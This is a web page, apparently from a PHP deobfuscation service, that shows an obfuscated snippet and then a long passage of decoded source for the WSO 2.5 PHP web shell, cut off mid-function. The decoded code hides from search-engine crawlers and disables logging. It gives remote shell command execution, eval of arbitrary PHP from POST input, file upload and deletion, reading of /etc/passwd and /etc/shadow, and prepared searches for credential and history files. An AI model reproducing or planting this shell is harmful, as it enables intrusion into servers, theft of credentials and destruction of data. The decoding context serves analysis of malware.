Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $osfdP = 'bas'.'e64'.'_de'.'cod'.'e'; $RQdEx = 's'.'tr'.'_rot1'.'3'; /*** fqwsxgxwrq..
Decoded Output download
<br>
if (!function_exists('iconv') && function_exists('libiconv')) {
function iconv($input_encoding, $output_encoding, $string) {
return libiconv($input_encoding, $output_encoding, $string);
}
}
if (!function_exists('iconv') && function_exists('mb_convert_encoding')) {
function iconv($from_encoding, $to_encoding, $string){
return mb_convert_encoding($string, $to_encoding, $from_encoding);
}
}
if (!function_exists('iconv')) {
function iconv($from_encoding, $to_encoding, $string){
return html_entity_decode(htmlentities($string, ENT_QUOTES, $from_encoding), ENT_QUOTES , $to_encoding);
}
}
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
header('HTTP/1.0 404 Not Found');
exit;
}
}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
if (PHP_VERSION_ID < 70000)
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(function_exists("get_magic_quotes_gpc")){
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
//if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan', 'Console'=>'Console','Sql'=>'Sql', 'UPdate/UPgrade' => 'UPDate', 'Php'=>'Php', 'String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Self remove'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v){
if($k == 'UPdate/UPgrade'){
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')"><font color="#25ff00">'.$k.'</font></a> ]</th>';
}else{
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
}
}
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . '</nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if (is_int($s))
$s = sprintf("%u", $s);
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
echo '<h1>Server security information</h1><div class=content>';
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
$temp = "";
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
$uid = @posix_getpwuid($_POST['p2']);
if ($uid)
$temp .= join(':',$uid)."
";
}
echo '<br/>';
wsoSecParam('Users', $temp);
}
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
function actionPhp() {
if(isset($_POST['ajax'])) {
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
ob_start();
eval($_POST['p1']);
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "
\'") . "';
";
echo strlen($temp), "
", $temp;
exit;
}
if(empty($_POST['ajax']) && !empty($_POST['p1']))
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
wsoHeader();
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
ob_start();
phpinfo();
$tmp = ob_get_clean();
$tmp = preg_replace(array (
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
'!td, th {(.*)}!msiU',
'!<img[^>]+>!msiU',
), array (
'',
'.e, .v, .h, .h th {$1}',
''
), $tmp);
echo str_replace('<h1','<h2', $tmp) .'</div><br>';
}
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
if(!empty($_POST['p1'])) {
ob_start();
eval($_POST['p1']);
echo htmlspecialchars(ob_get_clean());
}
echo '</pre></div>';
wsoFooter();
}
function actionFilesMan() {
if (!empty ($_COOKIE['f']))
$_COOKIE['f'] = @unserialize($_COOKIE['f']);
if(!empty($_POST['p1'])) {
switch($_POST['p1']) {
case 'uploadFile':
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
echo "Can't upload file!";
break;
case 'mkdir':
if(!@mkdir($_POST['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($item = readdir($dh) ) !== false) {
$item = $path.$item;
if ( (basename($item) == "..") || (basename($item) == ".") )
continue;
$type = filetype($item);
if ($type == "dir")
deleteDir($item);
else
@unlink($item);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_POST['f']))
foreach($_POST['f'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['f'] as $f)
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_POST['p2'], 1)) {
chdir($_COOKIE['c']);
foreach($_COOKIE['f'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['c'].$f))
$zip->addFile($_COOKIE['c'].$f, $f);
elseif(@is_dir($_COOKIE['c'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['f'] as $f) {
if($zip->open($_COOKIE['c'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['c']);
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['f']);
setcookie('f', '', time() - 3600);
break;
default:
if(!empty($_POST['p1'])) {
WSOsetcookie('act', $_POST['p1']);
WSOsetcookie('f', serialize(@$_POST['f']));
WSOsetcookie('c', @$_POST['c']);
}
break;
}
}
wsoHeader();
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
global $sort;
$sort = array('name', 1);
if(!empty($_POST['p1'])) {
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
$sort = array($match[1], (int)$match[2]);
}
echo "<script>
function sa() {
for(i=0;i<d.files.elements.length;i++)
if(d.files.elements[i].type == 'checkbox')
d.files.elements[i].checked = d.files.elements[0].checked;
}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
$dirs = $files = array();
$n = count($dirContent);
for($i=0;$i<$n;$i++) {
if(function_exists('posix_getpwuid')){
$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
}else{
$ow = '';
}
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
$tmp = array('name' => $dirContent[$i],
'path' => $GLOBALS['cwd'].$dirContent[$i],
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
);
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
$files[] = array_merge($tmp, array('type' => 'file'));
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
$dirs[] = array_merge($tmp, array('type' => 'dir'));
}
$GLOBALS['sort'] = $sort;
function wsoCmp($a, $b) {
if($GLOBALS['sort'][0] != 'size')
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
else
return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
}
usort($files, "wsoCmp");
usort($dirs, "wsoCmp");
$files = array_merge($dirs, $files);
$l = 0;
foreach($files as $f) {
echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
.'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
$l = $l?0:1;
}
echo "<tr><td colspan=7>
<input type=hidden name=a value='FilesMan'>
<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
<input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
<select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
if(class_exists('ZipArchive'))
echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
echo "<option value='tar'>Compress (tar.gz)</option>";
if(function_exists("get_magic_quotes_gpc") && !empty($_COOKIE['act']) && @count($_COOKIE['f']))
